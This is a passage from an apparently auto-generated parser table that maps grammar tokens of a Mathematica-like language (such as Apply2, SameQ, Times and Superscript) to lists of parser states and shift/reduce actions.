132,-159,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,-94,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,-165,-66,-63,-7,-173,-51,-84,-6,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,-167,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,-170,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,-95,-4,-70,-14,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,-164,-166,-135,-149,-129,-128,-160,-110,]),'Apply2':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,105,-120,-118,105,105,105,105,105,105,105,105,105,105,-156,-127,105,105,105,105,105,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,105,-45,-18,-36,-89,-169,-107,-22,-132,105,105,-133,-175,105,-154,105,-105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,-64,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,-172,105,105,105,105,-171,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,-156,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,-134,105,105,105,105,105,105,105,105,-130,-131,105,105,105,105,105,105,105,105,105,105,105,105,105,-109,-122,105,105,-176,105,-168,-154,105,-108,105,105,105,-135,105,-129,-128,105,-110,]),'NotDoubleVerticalBar':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,106,-120,-118,-142,-141,106,-140,106,106,-79,106,106,-155,-156,-127,106,-143,106,-23,106,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,106,106,-133,-175,106,-154,-152,-105,-65,-29,-92,106,106,-99,-31,106,106,-48,-52,106,-43,106,-139,-64,-26,106,106,-8,-13,106,-90,106,106,-66,106,106,106,-51,106,-6,106,-91,-78,-172,106,106,106,106,-171,-46,-11,-136,-58,-5,-147,-144,106,-146,106,-56,-41,106,-21,106,-97,-96,106,-153,-156,-10,-24,-80,-9,-40,-54,106,-32,106,106,106,-19,106,106,106,-100,106,-145,-61,106,106,-134,106,-20,-42,-50,106,106,-53,-67,-130,-131,-49,106,106,-12,106,-33,106,-82,106,106,106,106,106,-109,-122,106,-138,-176,-151,-168,-154,-150,-108,106,106,106,-135,-149,-129,-128,106,-110,]),'Apply1':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,107,-120,-118,107,107,107,107,107,107,107,107,107,107,-156,-127,107,107,107,107,107,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,107,-45,-18,-36,-89,-169,-107,-22,-132,107,107,-133,-175,107,-154,107,-105,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,-64,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,-172,107,107,107,107,-171,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,-156,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,107,-134,107,107,107,107,107,107,107,107,-130,-131,107,107,107,107,107,107,107,107,107,107,107,107,107,-109,-122,107,107,-176,107,-168,-154,107,-108,107,107,107,-135,107,-129,-128,107,-110,]),'RawStar':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,108,-120,-118,-142,-141,108,-140,108,108,-79,108,108,108,-156,-127,108,-143,108,-23,108,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,108,108,-133,-175,108,-154,108,-105,108,108,108,108,108,108,108,108,108,108,-52,108,108,108,108,-64,-26,108,108,108,-13,108,108,108,108,108,108,108,108,108,108,-6,108,108,-78,-172,108,108,108,108,-171,108,108,-136,108,-5,-147,-144,108,-146,108,-56,108,108,108,108,108,-96,108,108,-156,-10,-24,108,-9,108,108,108,108,108,108,108,108,108,108,108,-100,108,-145,108,108,108,-134,108,-20,108,108,108,108,-53,-67,-130,-131,108,108,108,108,108,108,108,-82,108,108,108,108,108,-109,-122,108,-138,-176,108,-168,-154,108,-108,108,108,108,-135,108,-129,-128,108,-110,]),'RawSlash':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,109,-120,-118,-142,-141,109,-140,109,109,-79,109,109,109,-156,-127,109,-143,109,-23,109,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,109,-45,-18,-36,-89,-169,-107,-22,-132,109,109,-133,-175,109,-154,109,-105,109,109,109,109,109,109,109,109,109,109,-52,109,109,109,109,-64,-26,109,109,109,109,109,109,109,109,109,109,109,109,109,109,109,109,109,-78,-172,109,109,109,109,-171,109,109,-136,109,-5,109,-144,109,109,109,-56,109,109,109,109,109,109,109,109,-156,-10,109,109,109,109,109,109,109,109,109,109,109,109,109,109,109,109,-145,109,109,109,-134,109,-20,109,109,109,109,-53,-67,-130,-131,109,109,109,109,109,109,109,-82,109,109,109,109,109,-109,-122,109,-138,-176,109,-168,-154,109,-108,109,109,109,-135,109,-129,-128,109,-110,]),'SameQ':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,110,-120,-118,-142,-141,110,-140,110,110,-79,110,110,-155,-156,-127,110,-143,110,-23,110,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,110,110,-133,-175,110,-154,-152,-105,-65,-29,-92,110,110,-99,-31,110,110,-48,-52,110,-43,110,-139,-64,-26,-93,110,-8,-13,110,-90,110,110,-66,110,110,110,-51,110,-6,110,-91,-78,-172,110,110,110,110,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,110,-56,-41,110,-21,110,-97,-96,110,-153,-156,-10,-24,-80,-9,-40,-54,110,-32,110,110,110,-19,110,110,110,-100,110,-145,-61,110,110,-134,110,-20,-42,-50,110,110,-53,-67,-130,-131,-49,110,110,-12,110,-33,110,-82,110,110,110,110,110,-109,-122,110,-138,-176,-151,-168,-154,-150,-108,110,110,110,-135,-149,-129,-128,110,-110,]),'Times':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,112,-120,-118,-142,-141,112,-140,112,112,-79,112,112,112,-156,-127,112,-143,112,-23,112,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,112,112,-133,-175,112,-154,112,-105,112,112,112,112,112,112,112,112,112,112,-52,112,112,112,112,-64,-26,112,112,112,-13,112,112,112,112,112,112,112,112,112,112,-6,112,112,-78,-172,112,112,112,112,-171,112,112,-136,112,-5,-147,-144,112,-146,112,-56,112,112,112,112,112,-96,112,112,-156,-10,-24,112,-9,112,112,112,112,112,112,112,112,112,112,112,-100,112,-145,112,112,112,-134,112,-20,112,112,112,112,-53,-67,-130,-131,112,112,112,112,112,112,112,-82,112,112,112,112,112,-109,-122,112,-138,-176,112,-168,-154,112,-108,112,112,112,-135,112,-129,-128,112,-110,]),'RightBoxParenthesis':([2,5,8,9,10,11,16,17,21,30,31,33,34,35,36,38,39,43,44,46,47,48,49,50,51,52,53,54,55,56,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,186,188,195,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,317,318,319,320,321,322,324,325,326,329,331,332,335,343,344,345,346,347,348,349,351,352,353,354,355,356,],[-123,-126,-182,-125,-122,-124,-119,-156,-121,-120,-118,-142,-141,-157,-140,-181,-179,-177,197,-182,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,-133,-180,-194,-175,-162,325,-154,-152,-105,-65,-29,-92,-71,-94,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,-165,-66,-63,-7,-173,-51,-84,-6,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,-167,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,-170,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,-95,-4,-70,-14,-109,-122,-161,-138,-189,-191,-192,-187,-185,-183,-195,-176,-151,-168,-154,-150,-108,-193,-164,-166,-135,-149,-129,-128,-160,-188,-190,-186,-184,-110,]),'DoubleRightTee':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,113,-120,-118,-142,-141,-157,-140,113,113,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,113,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,113,-133,-175,113,-154,-152,-105,-65,-29,-92,113,113,-99,-31,113,113,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,113,-66,-63,113,113,-51,113,-6,113,-91,-78,-172,-101,113,113,113,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,113,-56,-41,113,-21,113,-97,-96,113,-153,-156,-10,-24,-80,-9,-40,-54,113,-32,113,113,113,-19,113,113,-3,-100,113,-145,-61,113,113,-134,-102,-20,-42,-50,113,113,-53,-67,-130,-131,-49,-86,-44,-12,113,-33,-30,-82,-83,113,-4,113,113,-109,-122,113,-138,-176,-151,-168,-154,-150,-108,113,113,113,-135,-149,-129,-128,113,-110,]),'RawColon':([10,21,30,31,314,],[45,-121,-120,185,338,]),'InterpretedBox':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[12,12,-123,12,12,-126,12,12,12,-125,-122,-124,12,12,12,-119,12,12,12,-121,12,12,12,12,12,12,12,-120,-118,12,12,12,12,12,12,12,-179,12,12,12,12,12,12,12,12,12,12,-127,12,12,12,12,12,12,12,12,-16,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,-68,12,12,12,12,12,12,12,12,12,-137,12,12,12,12,-69,12,12,12,12,12,12,12,12,-106,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,-17,12,-39,12,12,12,12,12,12,12,12,12,12,12,-18,12,12,12,12,12,12,12,12,12,-89,12,12,12,12,12,12,12,12,12,-169,12,12,12,12,12,-107,12,12,12,12,12,12,12,12,-180,12,12,12,12,12,-194,12,-175,12,12,12,-105,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,-172,12,12,12,12,-171,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,-130,-131,12,12,12,12,12,12,12,12,12,12,12,12,12,12,-109,12,-122,12,12,-189,-191,-192,-187,-185,-183,12,-195,-176,12,12,12,-168,12,12,12,-108,12,12,12,12,12,12,-193,12,12,12,12,-129,-128,12,-188,-190,-186,-184,-110,]),'NonCommutativeMultiply':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,114,-120,-118,114,114,114,114,114,114,-79,114,114,114,-156,-127,114,114,114,-23,114,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,114,-45,-18,-36,-89,-169,-107,-22,-132,114,114,-133,-175,114,-154,114,-105,114,114,114,114,114,114,114,114,114,114,-52,114,114,114,114,-64,114,114,114,114,114,114,114,114,114,114,114,114,114,114,114,114,114,114,-78,-172,114,114,114,114,-171,114,114,-136,114,-5,114,114,114,114,114,-56,114,114,114,114,114,114,114,114,-156,-10,114,114,114,114,114,114,114,114,114,114,114,114,114,114,114,114,114,114,114,114,-134,114,114,114,114,114,114,-53,-67,-130,-131,114,114,114,114,114,114,114,-82,114,114,114,114,114,-109,-122,114,-138,-176,114,-168,-154,114,-108,114,114,114,-135,114,-129,-128,114,-110,]),'Superscript':([2,5,9,10,11,16,17,21,30,31,33,34,35,36,39,43,47,48,49,50,51,52,53,54,55,56,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,186,188,195,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,317,318,319,320,321,322,324,325,326,329,331,332,335,343,344,345,346,347,348,349,351,352,353,354,355,356,],[-123,-126,-125,-122,-124,-119,-156,-121,-120,-118,-142,-141,-157,-140,193,-177,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,-133,193,193,-175,-162,-154,-152,-105,-65,-29,-92,-71,-94,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,-165,-66,-63,-7,-173,-51,-84,-6,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,-167,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,-170,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,-95,-4,-70,-14,-109,-122,-161,-138,-189,-191,193,-187,193,-183,193,-176,-151,-168,-154,-150,-108,193,-164,-166,-135,-149,-129,-128,-160,-188,-190,-186,193,-110,]),'GreaterEqual':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,115,-120,-118,-142,-141,115,-140,115,115,-79,115,115,-155,-156,-127,115,-143,115,-23,115,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,115,115,-133,-175,115,-154,-152,-105,-65,-29,-92,115,115,-99,-31,115,115,-48,-52,115,-43,115,-139,-64,-26,115,115,-8,-13,115,-90,115,115,-66,115,115,115,-51,115,-6,115,-91,-78,-172,115,115,115,115,-171,-46,-11,-136,-58,-5,-147,-144,115,-146,115,-56,-41,115,-21,115,-97,-96,115,-153,-156,-10,-24,-80,-9,-40,-54,115,-32,115,115,115,-19,115,115,115,-100,115,-145,-61,115,115,-134,115,-20,-42,-50,115,115,-53,-67,-130,-131,-49,115,115,-12,115,-33,115,-82,115,115,115,115,115,-109,-122,115,-138,-176,-151,-168,-154,-150,-108,115,115,115,-135,-149,-129,-128,115,-110,]),'Square':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[13,13,-123,13,13,-126,13,13,13,-125,-122,-124,13,13,13,-119,13,13,13,-121,13,13,13,13,13,13,13,-120,-118,13,13,13,13,13,13,13,-179,13,13,13,13,13,13,13,13,13,13,-127,13,13,13,-23,13,13,13,13,-16,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,-68,13,13,13,13,13,13,13,13,13,-137,13,13,13,13,-69,13,13,13,13,13,13,13,13,-106,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,-37,13,13,13,13,13,13,13,13,-17,13,-39,13,13,13,13,13,13,13,13,13,13,-45,-18,13,13,13,13,-36,13,13,13,13,-89,13,13,13,13,13,13,13,13,13,-169,13,13,13,13,13,-107,-22,-132,13,13,13,13,-133,13,-180,13,13,13,13,13,-194,13,-175,13,13,13,-105,13,13,13,13,13,13,13,13,13,13,-52,13,13,13,13,-64,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,-172,13,13,13,13,-171,13,13,-136,13,-5,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,-134,13,13,13,13,13,13,-53,-67,-130,-131,13,13,13,13,13,13,13,13,-82,13,13,13,13,13,-109,13,-122,13,-138,-189,-191,-192,-187,-185,-183,13,-195,-176,13,13,13,-168,13,13,13,-108,13,13,13,13,13,13,-193,13,13,-135,13,-129,-128,13,-188,-190,-186,-184,-110,]),'Exists':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[14,14,-123,14,14,-126,14,14,14,-125,-122,-124,14,14,14,-119,-156,14,14,-121,14,14,14,14,14,14,14,-120,-118,14,-142,-141,14,-140,14,14,-179,14,14,14,14,14,-79,14,14,-155,-156,-127,14,-143,14,-23,14,14,14,14,-16,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,-68,14,14,14,14,14,14,14,14,14,-137,14,14,14,14,-69,14,14,14,14,14,14,14,14,-106,14,14,14,14,14,14,14,14,14,14,-154,14,14,14,14,-37,14,14,14,14,14,14,14,14,-17,14,-39,14,14,14,14,14,14,-148,14,14,14,-45,-18,14,14,14,14,-36,14,14,14,14,-89,14,14,14,14,14,14,14,14,14,-169,14,14,14,14,14,-107,-22,-132,14,14,14,14,-133,14,-180,14,14,14,14,14,-194,14,-175,14,-154,-152,-105,-65,-29,-92,14,14,-99,-31,14,14,-48,-52,-59,-43,14,-139,-64,-26,-93,14,-8,-13,14,-90,14,14,-66,14,14,14,-51,14,-6,14,-91,-78,-172,14,14,14,14,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,14,-56,-41,14,-21,14,-97,-96,14,-153,-156,-10,-24,-80,-9,-40,-54,14,-32,14,14,14,-19,14,14,14,-100,14,-145,-61,14,14,-134,14,-20,-42,-50,14,14,-53,-67,-130,-131,-49,-86,14,-12,14,-33,-30,14,-82,-83,14,14,14,14,-109,14,-122,14,-138,-189,-191,-192,-187,-185,-183,14,-195,-176,-151,14,14,-168,14,-154,-150,-108,14,14,14,14,14,14,-193,14,14,-135,-149,-129,-128,14,-188,-190,-186,-184,-110,]),'Otherscript':([2,5,9,10,11,16,17,21,30,31,33,34,35,36,43,47,48,49,50,51,52,53,54,55,56,61,85,88,95,101,111,122,127,136,138,145,149,150,